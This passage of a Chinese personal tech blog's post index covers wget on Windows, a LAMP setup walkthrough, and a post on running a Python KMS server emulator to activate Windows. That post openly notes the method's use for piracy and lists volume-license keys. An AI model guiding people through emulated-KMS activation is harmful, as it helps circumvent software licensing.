// do something with data }); 4. 附带的小零碎 window.setInterval(getData, time);用于实现轮询。 5. 总结 & 后记 Ajax简单实用功能强大应用广泛,通过简单的步骤实现前后端的数据交换,来实现网页的动态加载。 开学到现在感觉一直不在状态(实在是想吐槽自己的一群神一样的舍友),今天找了个安静的、没人打扰的地方认认真真写了写代码,总结了一下自己到现在所学的知识才发现自己学的东西是如此零散、不成体系,仿佛从大一开始就在乱点技能点。这一年要多深入学习一个特定方面的知识(暂定后端开发),多写代码积累经验,不能再东学一点西学一点了。","categories":[{"name":"网络","slug":"网络","permalink":"https://blog.stdioa.com/categories/%E7%BD%91%E7%BB%9C/"}],"tags":[{"name":"Ajax","slug":"Ajax","permalink":"https://blog.stdioa.com/tags/Ajax/"},{"name":"前端开发","slug":"前端开发","permalink":"https://blog.stdioa.com/tags/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91/"}]},{"title":"在Windows中使用Wget","slug":"using-wget-in-Windows","date":"2015-09-18T12:07:00.000Z","updated":"2022-09-10T01:41:19.798Z","comments":true,"path":"2015/09/using-wget-in-Windows/","link":"","permalink":"https://blog.stdioa.com/2015/09/using-wget-in-Windows/","excerpt":"一直心心念念想在Windows里用wget,今天随便搞了搞,在Windows里面用上了wget,终于可以下载一些乱七八糟的小文件辣。","text":"一直心心念念想在Windows里用wget,今天随便搞了搞,在Windows里面用上了wget,终于可以下载一些乱七八糟的小文件辣。 1. 引子 一直觉得Windows里面应该有一个类似wget的工具。今天想从github上下一个文件,结果文件直接以文本方式返回了(响应头的Content-Type为text/plain而不是application神马的),自己很怨念,觉得要是Windows能像linux一样有个用来wget神马的下载文件的命令就好了…所以自己上网搜了一下,让自己用上了wget. 2. 乱搞 随便百度,找到一篇博文,又找到了一个叫做GnuWin(http://sourceforge.net/projects/gnuwin32/)的项目,该项目主要提供Windows下的GNU工具,比如sed, grep, wget等等。于是下载安装,安装程序默认将程序安装在了C:\\Program Files (x86)\\GnuWin32\\bin目录下。然而即使这样,我还是无法直接在命令行里使用。 Windows中有一个“PATH环境变量”,将某目录(比如C:\\Python27)添加进PATH环境变量中,就可以直接在命令行中输入命令打开该目录下的文件。如果想在命令行中使用wget的话,把C:\\Program Files (x86)\\GnuWin32\\bin目录添加进PATH变量中当然可行。但是这样的话,随着工具越来越多,PATH变量里面的路径也就越来越多,维护起来也会更加困难,所以自己使用了一种特殊的方法:在C盘的目录下建了一个Command_line_programs文件夹用来放一些自己常用的命令行工具(比如sqlite),然后将C:\\Command_line_programs(以下简称C.L.P.)添加到PATH变量中,这样自己就能使用C.L.P.文件夹中的工具。可是,自己已经将程序安装到Program Files里了,所以需要想个办法在C.L.P.文件中新建一个文件来连接到wget程序。_经过尝试,使用快捷方式的方法失败了。_所以自己想到了新建批处理文件。于是在C.L.P.文件夹中新建wget.bat, 内容为C:\\"Program Files (x86)"\\GnuWin32\\bin\\wget.exe %* (%*表示在命令中嵌入程序所有参数,详情请百度或Google Windows批处理编程),保存,在命令行中尝试使用wget,成功。 3. 然而这并没有什么卵用啊! 自己搞完以后,盯着GnuWin这几个字,突然想到了git里面自带了很多GNU工具可以直接使用,于是就去git/bin的目录翻了翻,果然,里面没有wget,然而我看到了curl。然后…就没有然后了。 4. 后记 这篇文章是胡乱凑数的,最近学习兴趣不高,又有一堆乱七八糟的事情要忙,所以托更了好久T^T 好了好了要好好学习,说好了多去体验框架呢QAQ","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://blog.stdioa.com/tags/Windows/"},{"name":"wget","slug":"wget","permalink":"https://blog.stdioa.com/tags/wget/"}]},{"title":"搭建私有KMS服务器","slug":"building-a-private-kms-server","date":"2015-09-02T14:26:00.000Z","updated":"2022-09-10T01:41:19.790Z","comments":true,"path":"2015/09/building-a-private-kms-server/","link":"","permalink":"https://blog.stdioa.com/2015/09/building-a-private-kms-server/","excerpt":"最近win10又频繁提示“许可即将过期”,之前找到的kms服务器又挂掉了,于是就决定自己搭一个自己用。","text":"最近win10又频繁提示“许可即将过期”,之前找到的kms服务器又挂掉了,于是就决定自己搭一个自己用。 1. 引子 好久没更新日志了,暑假在家每天过的乱七八糟,就没怎么研究技术,于是博客也没怎么更新…今天随便写点什么凑个数_(:зゝ∠)_ 2. 科普 KMS (Key Management Service), 密钥管理服务,是一种对Windows及Office产品进行批量授权的服务,通常被部署在大型企业局域网中,用于对批量授权版(即VOL版)Windows系统进行大批量的激活。KMS服务器的作用是给局域网中的所有计算机的操作系统提供一个有效的产品序列号,然后计算机里面的KMS服务就会自动将系统激活。每一个由KMS Server提供的序列号的有效期只有180天,而不是其他版本的永久使用一个序列号。所以操作者必须在快到期的时候在此手动连接KMS服务器让它提供一个新的序列号,否则180天以后就会回到试用版本状态。由于KMS系统部署较为容易,所以在国内很多人通过MSDN等渠道下载VOL版本的软件,然后通过KMS服务进行激活,已达到盗版的目的。 3. 搭(luan)建(gao)过程 昨天在满大街乱找野生KMS服务器的时候发现了一个帖子:使用KMS激活windows系统及VL-office系列, 里面提供了一个链接指向一个帖子,帖子中提供了Python和C版本的KMS服务器模拟器,可以在自己的服务器中进行KMS服务器部署。于是把代码搞了下来(为此还注册了个账号, python版的代码在这里),用VSFTP将代码传到了自己的树莓派上,然后运行python server.py进行部署。 python server.py TCP server listening at 0.0.0.0 on port 1688. 然后在Windows系统中打开具有管理员权限的命令提示符,输入slmgr -skms 192.168.155.2:1688设置KMS服务器地址(地址可以更换),然后输入`slmgr -ato’进行系统激活,此时服务器端显示: Connection accepted: 192.168.56.1:13023 Received V6 request on Wed Sep 2 22:59:55 2015. Connection closed: 192.168.56.1:13023 Windows系统提示“成功地激活了产品”,激活成功。 在树莓派上部署成功以后,随手在VPS上部署了一份以备用。帖子中提了一种设置Linux系统启动项来使KMS服务器开机自动部署的方法,不过自己没有这个需求就没搞。 4. 总结 这篇文章好像有点水,主要是因为自己实在没什么东西写了…自己的暑假过的乱七八糟,浪费了很多时间在游戏上,没什么心情研究技术。现在开学了,有更多时间来钻研技术了,收收心找找状态,以后博客会定期更新的,我对树莓派电源灯发誓→_→ 5. 各种Key 最后附上Office 2016和Windows 10的VOL版激活码,其它版本软件激活码请自行百度。 Office Professional Plus 2016 - XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99 Office Standard 2016 - JNRGM-WHDWX-FJJG3-K47QV-DRTFM Project Professional 2016 - YG9NW-3K39V-2T3HJ-93F3Q-G83KT Project Standard 2016 - GNFHQ-F6YQM-KQDGJ-327XX-KQBVC Visio Professional 2016 - PD3PC-RHNGV-FXJ29-8JK7D-RJRJK Visio Standard 2016 - 7WHWN-4T7MP-G96JF-G33KR-W8GF4 Access 2016 - GNH9Y-D2J4T-FJHGG-QRVH7-QPFDW Excel 2016 - 9C2PK-NWTVB-JMPW8-BFT28-7FTBF OneNote 2016 - DR92N-9HTF2-97XKM-XW2WJ-XW3J6 Outlook 2016 - R69KK-NTPKF-7M3Q4-QYBHW-6MT9B PowerPoint 2016 - J7MQP-HNJ4Y-WJ7YM-PFYGF-BY6C6 Publisher 2016 - F47MM-N3XJP-TQXJ9-BP99D-8K837 Skype for Business 2016 - 869NQ-FJ69K-466HW-QYCP2-DDBV6 Word 2016 - WXY84-JN2Q9-RBCCQ-3Q3J3-3PFJ6 Windows 10 Home - TX9XD-98N7V-6WMQ6-BX7FG-H8Q99 Windows 10 Home N - 3KHY7-WNT83-DGQKR-F7HPR-844BM Windows 10 Home Single Language - 7HNRX-D7KGG-3K4RQ-4WPJ4-YTDFH Windows 10 Home Country Specific - PVMJN-6DFY6-9CCP6-7BKTT-D3WVR Windows 10 Professional - W269N-WFGWX-YVC9B-4J6C9-T83GX Windows 10 Professional N - MH37W-N47XK-V7XM9-C7227-GCQG9 Windows 10 Education - NW6C2-QMPVW-D7KKK-3GKT6-VCFB2 Windows 10 Education N - 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ Windows 10 Enterprise - NPPR9-FWDCX-D2C8J-H872K-2YT43 Windows 10 Enterprise N - DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4 Windows 10 Enterprise 2015 LTSB - WNMTR-4C88C-JK8YV-HQ7T2-76DF9 Windows 10 Enterprise 2015 LTSB N - 2F77B-TNFGY-69QQF-B8YKP-D69TJ 可以考虑有空搞一个Office 2016来玩玩。 6. 参考文档 KMS - 互动百科 使用KMS激活windows系统及VL-office系列 Emulated KMS Servers on non-Windows platforms","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"KMS","slug":"KMS","permalink":"https://blog.stdioa.com/tags/KMS/"}]},{"title":"LAMP环境搭建心得","slug":"deploy-a-LAMP-environment","date":"2015-07-09T12:05:00.000Z","updated":"2022-09-10T01:41:19.791Z","comments":true,"path":"2015/07/deploy-a-LAMP-environment/","link":"","permalink":"https://blog.stdioa.com/2015/07/deploy-a-LAMP-environment/","excerpt":"闲来无事,在虚拟机上搭了一个LAMP服务器环境,把安装及配置过程记了下来。","text":"闲来无事,在虚拟机上搭了一个LAMP服务器环境,把安装及配置过程记了下来。 1. 引子 1.1 环境版本 此次搭建的LAMP环境版本: Ubuntu 14.04 LTS Apache 2.4.7 mysql 5.6.19 php 5.5.9 1.2 写(hu)在(che)开(yi)头(tong) 额…其实没什么好说的,自己一直想自己动手搭建、配置一个服务器,暑假之前师太(别问是谁)说如果要搞安全的话最好先自己从头搭一个服务器,把各种服务弄清楚,对整个架构有一个系统的理解,这样再深入搞安全的话接受一些观念也会更快更容易;但是因为自己太懒,再加上上学期忙成狗(其实还是太懒),一直没有去做这件事。暑假在一个小公司做软件测试,每天好像也没什么事干,有大把的时间做自己的事情,于是自己用了一中午加半个下午的时间照着一份指南把它搭好了。 不过话说回来,软件测试真的很无聊_(:зゝ∠)_ 2. 科普 LAMP: Linux + Apache + Mysql + PHP 科普结束。 刚看到LAMP里面的P还能指Python 0.0 3. 搭建过程 3.1 安装 Linux 我手上现在没实体机了,只有一个树莓派,我也不想每天带着它去上班,何况AMD架构上面软件好像少一点点,更何况树莓派性能挺差的(此处省略一坨借口),所以我只用Virtual Box装了一个虚拟机。 说到Linux,选一个用起来比较舒服的的发行版还是挺重要的。Linux发行版众多,一般用Red Hat或者CentOS(RH的社区版)或者Ubuntu Server来做服务器,不过…这学期用Debian系发行版用习惯了,再换到RH系的感觉有点不适应,于是我选择了Ubuntu Server. 当然,如果你想锻炼一下,推荐使用Arch Linux来搭建服务器。 下载Linux镜像,搭虚拟机,配置虚拟网络&SSH,更改软件源,更新软件,配置自己需要的vim & tmux & vsftpd,不多说,想详细了解的可以去看某Linux虚拟机安装及配置指南(代号PA0)。上学期装Linux装了绝不下10遍,再说下去自己都要吐了。 不过值得一提的是,Ubuntu Server安装程序的用户体验简直棒,安装过程中有一步是设置键盘布局,以前都要自己去一个长长的列表里翻自己的键盘布局(通常是US),而Ubuntu Server提供了一个小脚本来进行自动检测:依照提示敲几个字母/符号,再回答一个问题,安装程序会自动检测出适合你的键盘布局。 Apache 输入apt-get install apache2命令安装apache. 安装过程中apache服务已经启动,如果未启动,则输入service apache2 start启动apache服务。 启动后访问服务器ip,会出现apache的测试页面。 MySQL 输入apt-get install mysql-server-5.6 mysql-client-5.6进行安装。 安装过程中需要输入MySQL root密码。 PHP 输入apt-get install php5 libapache2-mod-php5安装php, 安装过后需要输入service apache2 restart重启apache服务。 3.2 配置 安装phpMyAdmin 输入apt-get install phpmyadmin进行安装,安装的时候会提示输入mysql的root密码,并且提示新建一个数据库,当然也可以按需求不新建。 安装好以后访问http://localhost/phpmyadmin/index.php ,登录之后页面下方会有警告“缺少 mcrypt 扩展。请检查 PHP 配置。”此时按照指南的方法做没有效果,经百度+Google后找到了解决方案:安装php5-mcrypt后,更改php.ini后问题未解决,根据官方的mcrypt安装指南,输入php5enmod mcrypt后,问题解决。 MySQL命令行无法启动 注:这段是自己瞎折腾的,啥都没看就乱玩遇到的问题。 输入mysql后遇到问题: 12➜ ~ mysqlERROR 1045 (28000): Access denied for user 'stdio'@'localhost' (using password: NO) 尝试用root权限运行,得到同样的结果。 12➜ ~ sudo mysqlERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO) 一番百度+google+SegmentFault后,找到正确进入命令行的姿势: 123456789101112131415➜ ~ sudo mysql -u root -pEnter password:Welcome to the MySQL monitor. Commands end with ; or \\g.Your MySQL connection id is 55Server version: 5.6.19-0ubuntu0.14.04.1 (Ubuntu)Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.mysql> 设置Apache虚拟目录 把所有文件全部放在/var/www下真的好麻烦,何况普通账户没有/var/www的写权限,所以设置一个alias,将某个Apache虚拟目录映射到home目录下,以后操作起来就会方便很多。 修改/etc/apache2/mods-enabled/alias.conf文件,添加如下行,然后重启Apache服务: 12345678Alias /web "/home/stdio/websites/"<Directory "/home/stdio/websites/"> Options None AllowOverride None Order allow,deny Allow from all</Directory> 然而在我访问http://localhost/web时,却得到了503 Forbidden的状态码,各种乱访问无果,于是在网上乱搜解决方案,有让改httpd的(httpd跟Apache有啥关系),有改alias配置的(我的alias配置的没有问题啊),最后看到了一个方案,查看apache2.conf的目录权限配置。 修改/etc/apache2/apache2.conf文件,发现以下设置: 12345678910111213141516<Directory /> Options FollowSymLinks AllowOverride None Require all denied</Directory><Directory /usr/share> AllowOverride None Require all granted</Directory><Directory /var/www/> Options Indexes FollowSymLinks AllowOverride None Require all granted</Directory> 因为Apache的默认配置是不能访问/的,所以我没有对~/websites的访问权限(这里逻辑好混乱)。添加配置: 12345<Directory /home/stdio/websites> Options FollowSymLinks AllowOverride None Require all granted</Directory> 重启Apache服务,http://localhost/web目录下的文件均可正常访问。 4. 乱搞 去年开学的时候用php写过一个小的文件浏览器(就像Apache自带的文件服务器那样的),闲得无聊想把它部署到自己刚搭好的服务器上,看看能不能正常运行,于是就把文件传到服务器上访问,不出意外,失败了。然后就找呀找呀找bug,找到一个小bug(请自动脑补背景音乐),找了半个点最后发现,在从配置文档读取根目录路径的时候,会在目录结尾加一个空格(现在想起来觉得应该是^M)导致路径拼接时出错,于是在$rootpath前面加了trim,然后就好了…我真是能作_(:зゝ∠)_ 5. 总结 自己动手搭建LAMP环境还是一件挺有意思的事情,遇到问题自己去找答案自己解决,最后所有的服务全都正常运行时还是有一点点成就感的~ 半年没碰PHP,一共就写了不到10行代码,还写错了一半,比如把phpinfo()写成php_info,忘了在<?后面加php神马的…(我记得以前谁跟我说<?后面可以不加php的啊) 一篇文章写了一晚上。好久没写过博文了,写这篇文章主要是把自己的经验记下来,如果这篇文章可以帮到谁的话,那当然更好~ Linux挺好玩的,比软件测试好玩多了!(果然到了最后还是要黑一把测试) 6. 参考文档 ubuntu下搭建LAMP PHP Mcrypt Installing/Configuring apache服务出现Forbidden 403问题的解决方法总结 ERROR 1045 (28000): Access denied for user ‘root’@‘localhost’ (using password: NO)","categories":[{"name":"网络","slug":"网络","permalink":"https://blog.stdioa.com/categories/%E7%BD%91%E7%BB%9C/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://blog.stdioa.com/tags/Linux/"},{"name":"Apache","slug":"Apache","permalink":"https://blog.stdioa.com/tags/Apache/"},{"name":"MySQL","slug":"MySQL","permalink":"https://blog.stdioa.com/tags/MySQL/"},{"name":"PHP","slug":"PHP","permalink":"https://blog.stdioa.com/tags/PHP/"}]}],"categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"},{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"},{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"},{"name":"Golang","slug":"Golang","permalink":"https://blog.stdioa.com/categories/Golang/"},{"name":"随笔","slug":"随笔","permalink":"https://blog.stdioa.com/categories/%E9%9A%8F%E7%AC%94/"},{"name":"开发","slug":"开发","permalink":"https://blog.stdioa.com/categories/%E5%BC%80%E5%8F%91/"},{"name":"网络","slug":"网络","permalink":"https://blog.stdioa.com/categories/%E7%BD%91%E7%BB%9C/"},{"name":"翻译","slug":"翻译","permalink":"https://blog.stdioa.com/categories/%E7%BF%BB%E8%AF%91/"},{"name":"Web","slug":"Web","permalink":"https://blog.stdioa.com/categories/Web/"},{"name":"LeetCode","slug":"LeetCode","permalink":"https://blog.stdioa.com/categories/LeetCode/"},{"name":"Javascript","slug":"Javascript","permalink":"https://blog.stdioa.com/categories/Javascript/"},{"name":"随手记","slug":"随手记","permalink":"https://blog.stdioa.com/categories/%E9%9A%8F%E6%89%8B%E8%AE%B0/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"i18n","slug":"i18n","permalink":"https://blog.stdioa.com/tags/i18n/"},{"name":"l10n","slug":"l10n","permalink":"https://blog.stdioa.com/tags/l10n/"},{"name":"gettext","slug":"gettext","permalink":"https://blog.stdioa.com/tags/gettext/"},{"name":"本地化","slug":"本地化","permalink":"https://blog.stdioa.com/tags/%E6%9C%AC%E5%9C%B0%E5%8C%96/"},{"name":"国际化","slug":"国际化","permalink":"https://blog.stdioa.com/tags/%E5%9B%BD%E9%99%85%E5%8C%96/"},{"name":"记账","slug":"记账","permalink":"https://blog.stdioa.com/tags/%E8%AE%B0%E8%B4%A6/"},{"name":"Beancount","slug":"Beancount","permalink":"https://blog.stdioa.com/tags/Beancount/"},{"name":"LLM","slug":"LLM","permalink":"https://blog.stdioa.com/tags/LLM/"},{"name":"RAG","slug":"RAG","permalink":"https://blog.stdioa.com/tags/RAG/"},{"name":"CTF","slug":"CTF","permalink":"https://blog.stdioa.com/tags/CTF/"},{"name":"脑洞","slug":"脑洞","permalink":"https://blog.stdioa.com/tags/%E8%84%91%E6%B4%9E/"},{"name":"IPv6","slug":"IPv6","permalink":"https://blog.stdioa.com/tags/IPv6/"},{"name":"Unicode","slug":"Unicode","permalink":"https://blog.stdioa.com/tags/Unicode/"},{"name":"UTF-8","slug":"UTF-8","permalink":"https://blog.stdioa.com/tags/UTF-8/"},{"name":"Docker","slug":"Docker","permalink":"https://blog.stdioa.com/tags/Docker/"},{"name":"NAS","slug":"NAS","permalink":"https://blog.stdioa.com/tags/NAS/"},{"name":"Homelab","slug":"Homelab","permalink":"https://blog.stdioa.com/tags/Homelab/"},{"name":"Prometheus","slug":"Prometheus","permalink":"https://blog.stdioa.com/tags/Prometheus/"},{"name":"Kubernetes","slug":"Kubernetes","permalink":"https://blog.stdioa.com/tags/Kubernetes/"},{"name":"iptables","slug":"iptables","permalink":"https://blog.stdioa.com/tags/iptables/"},{"name":"Alpine","slug":"Alpine","permalink":"https://blog.stdioa.com/tags/Alpine/"},{"name":"树莓派","slug":"树莓派","permalink":"https://blog.stdioa.com/tags/%E6%A0%91%E8%8E%93%E6%B4%BE/"},{"name":"Golang","slug":"Golang","permalink":"https://blog.stdioa.com/tags/Golang/"},{"name":"Protobuf","slug":"Protobuf","permalink":"https://blog.stdioa.com/tags/Protobuf/"},{"name":"fava","slug":"fava","permalink":"https://blog.stdioa.com/tags/fava/"},{"name":"算法","slug":"算法","permalink":"https://blog.stdioa.com/tags/%E7%AE%97%E6%B3%95/"},{"name":"堆","slug":"堆","permalink":"https://blog.stdioa.com/tags/%E5%A0%86/"},{"name":"微服务","slug":"微服务","permalink":"https://blog.stdioa.com/tags/%E5%BE%AE%E6%9C%8D%E5%8A%A1/"},{"name":"数据迁移","slug":"数据迁移","permalink":"https://blog.stdioa.com/tags/%E6%95%B0%E6%8D%AE%E8%BF%81%E7%A7%BB/"},{"name":"后端开发","slug":"后端开发","permalink":"https://blog.stdioa.com/tags/%E5%90%8E%E7%AB%AF%E5%BC%80%E5%8F%91/"},{"name":"读书","slug":"读书","permalink":"https://blog.stdioa.com/tags/%E8%AF%BB%E4%B9%A6/"},{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/tags/DevOps/"},{"name":"Linux","slug":"Linux","permalink":"https://blog.stdioa.com/tags/Linux/"},{"name":"NTP","slug":"NTP","permalink":"https://blog.stdioa.com/tags/NTP/"},{"name":"LCTT","slug":"LCTT","permalink":"https://blog.stdioa.com/tags/LCTT/"},{"name":"GitLab","slug":"GitLab","permalink":"https://blog.stdioa.com/tags/GitLab/"},{"name":"CI/CD","slug":"CI-CD","permalink":"https://blog.stdioa.com/tags/CI-CD/"},{"name":"Django","slug":"Django","permalink":"https://blog.stdioa.com/tags/Django/"},{"name":"supervisor","slug":"supervisor","permalink":"https://blog.stdioa.com/tags/supervisor/"},{"name":"gunicorn","slug":"gunicorn","permalink":"https://blog.stdioa.com/tags/gunicorn/"},{"name":"Django REST Framework","slug":"Django-REST-Framework","permalink":"https://blog.stdioa.com/tags/Django-REST-Framework/"},{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"ctypes","slug":"ctypes","permalink":"https://blog.stdioa.com/tags/ctypes/"},{"name":"MySQL","slug":"MySQL","permalink":"https://blog.stdioa.com/tags/MySQL/"},{"name":"LeetCode","slug":"LeetCode","permalink":"https://blog.stdioa.com/tags/LeetCode/"},{"name":"数据库","slug":"数据库","permalink":"https://blog.stdioa.com/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/"},{"name":"SQL","slug":"SQL","permalink":"https://blog.stdioa.com/tags/SQL/"},{"name":"前端开发","slug":"前端开发","permalink":"https://blog.stdioa.com/tags/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91/"},{"name":"Javascript","slug":"Javascript","permalink":"https://blog.stdioa.com/tags/Javascript/"},{"name":"node.js","slug":"node-js","permalink":"https://blog.stdioa.com/tags/node-js/"},{"name":"vue.js","slug":"vue-js","permalink":"https://blog.stdioa.com/tags/vue-js/"},{"name":"Atom","slug":"Atom","permalink":"https://blog.stdioa.com/tags/Atom/"},{"name":"Sublime Text","slug":"Sublime-Text","permalink":"https://blog.stdioa.com/tags/Sublime-Text/"},{"name":"文本编辑器","slug":"文本编辑器","permalink":"https://blog.stdioa.com/tags/%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91%E5%99%A8/"},{"name":"Git","slug":"Git","permalink":"https://blog.stdioa.com/tags/Git/"},{"name":"nginx","slug":"nginx","permalink":"https://blog.stdioa.com/tags/nginx/"},{"name":"七牛","slug":"七牛","permalink":"https://blog.stdioa.com/tags/%E4%B8%83%E7%89%9B/"},{"name":"git","slug":"git","permalink":"https://blog.stdioa.com/tags/git/"},{"name":"Github","slug":"Github","permalink":"https://blog.stdioa.com/tags/Github/"},{"name":"Let's Encrypt","slug":"Let-s-Encrypt","permalink":"https://blog.stdioa.com/tags/Let-s-Encrypt/"},{"name":"openssl","slug":"openssl","permalink":"https://blog.stdioa.com/tags/openssl/"},{"name":"requests","slug":"requests","permalink":"https://blog.stdioa.com/tags/requests/"},{"name":"unittest","slug":"unittest","permalink":"https://blog.stdioa.com/tags/unittest/"},{"name":"collections","slug":"collections","permalink":"https://blog.stdioa.com/tags/collections/"},{"name":"迭代器","slug":"迭代器","permalink":"https://blog.stdioa.com/tags/%E8%BF%AD%E4%BB%A3%E5%99%A8/"},{"name":"上下文管理","slug":"上下文管理","permalink":"https://blog.stdioa.com/tags/%E4%B8%8A%E4%B8%8B%E6%96%87%E7%AE%A1%E7%90%86/"},{"name":"virtualenv","slug":"virtualenv","permalink":"https://blog.stdioa.com/tags/virtualenv/"},{"name":"logging","slug":"logging","permalink":"https://blog.stdioa.com/tags/logging/"},{"name":"编程工具","slug":"编程工具","permalink":"https://blog.stdioa.com/tags/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"},{"name":"pip","slug":"pip","permalink":"https://blog.stdioa.com/tags/pip/"},{"name":"Ajax","slug":"Ajax","permalink":"https://blog.stdioa.com/tags/Ajax/"},{"name":"Windows","slug":"Windows","permalink":"https://blog.stdioa.com/tags/Windows/"},{"name":"wget","slug":"wget","permalink":"https://blog.stdioa.com/tags/wget/"},{"name":"KMS","slug":"KMS","permalink":"https://blog.stdioa.com/tags/KMS/"},{"name":"Apache","slug":"Apache","permalink":"https://blog.stdioa.com/tags/Apache/"},{"name":"PHP","slug":"PHP","permalink":"https://blog.stdioa.com/tags/PHP/"}]}